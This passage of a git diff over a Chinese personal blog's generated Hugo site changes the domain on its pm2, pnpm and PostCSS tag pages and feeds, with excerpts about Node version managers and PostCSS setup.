-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/pm2/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/pm2/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/pm2/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/pm2/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/pm2/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/pm2/"></head></html>
\ No newline at end of file
diff --git a/tags/pnpm/index.html b/tags/pnpm/index.html
index 9666b6fd..0a945f85 100644
--- a/tags/pnpm/index.html
+++ b/tags/pnpm/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>pnpm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/pnpm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/pnpm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="pnpm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/pnpm/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="pnpm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>pnpm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>pnpm | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/pnpm/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/pnpm/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="pnpm"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/pnpm/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="pnpm"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>pnpm</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>NodeJS常用工具的简单使用</h2></header><div class=entry-content><p>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
 用来nodejs多版本管理，可以切换和安装不同版本的nodejs
@@ -35,7 +35,7 @@
 安装指定版本的nodejs（如果已安装了这个版本，那么就会选择这个版本，这个命令可以用来安装和选择）
 n 14.17.3
 卸载指定版本
-n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+n rm 14.17.3...</p></div><footer class=entry-footer><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://chenjunlinabc.github.io/posts/105/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/pnpm/index.xml b/tags/pnpm/index.xml
index fd480478..7a28e16f 100644
--- a/tags/pnpm/index.xml
+++ b/tags/pnpm/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>pnpm on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/pnpm/</link>
+    <link>https://chenjunlinabc.github.io/tags/pnpm/</link>
     <description>Recent content in pnpm on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/pnpm/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 16 Sep 2021 21:55:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/pnpm/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>NodeJS常用工具的简单使用</title>
-      <link>https://xiaochenabc123.github.io/posts/105/</link>
+      <link>https://chenjunlinabc.github.io/posts/105/</link>
       <pubDate>Thu, 16 Sep 2021 21:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/105/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/105/</guid>
       <description>npm在这里https://xiaochenabc123.test.com/archives/31.html
 Yarn在这里https://xiaochenabc123.test.com/archives/38.html
 nvm全名node.js version management
diff --git a/tags/pnpm/page/1/index.html b/tags/pnpm/page/1/index.html
index 39347981..a35b4974 100644
--- a/tags/pnpm/page/1/index.html
+++ b/tags/pnpm/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/pnpm/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/pnpm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/pnpm/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/pnpm/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/pnpm/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/pnpm/"></head></html>
\ No newline at end of file
diff --git a/tags/postcss/index.html b/tags/postcss/index.html
index e3917446..5f9987e0 100644
--- a/tags/postcss/index.html
+++ b/tags/postcss/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>PostCSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/postcss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/postcss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PostCSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/postcss/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PostCSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>PostCSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>PostCSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/postcss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/postcss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="PostCSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/postcss/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="PostCSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>PostCSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -8,22 +8,9 @@
 npm install postcss postcss-loader –save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
-module: {
-rules: [
-{
-test: /\.css$/,
-use: ["style-loader", "css-loader", "postcss-loader"]
-}
-]
-}
-};
-postcss.config.js
-module.exports = {
-plugins: [插件1,插件2]
-};
-Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://xiaochenabc123.github.io/posts/129/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
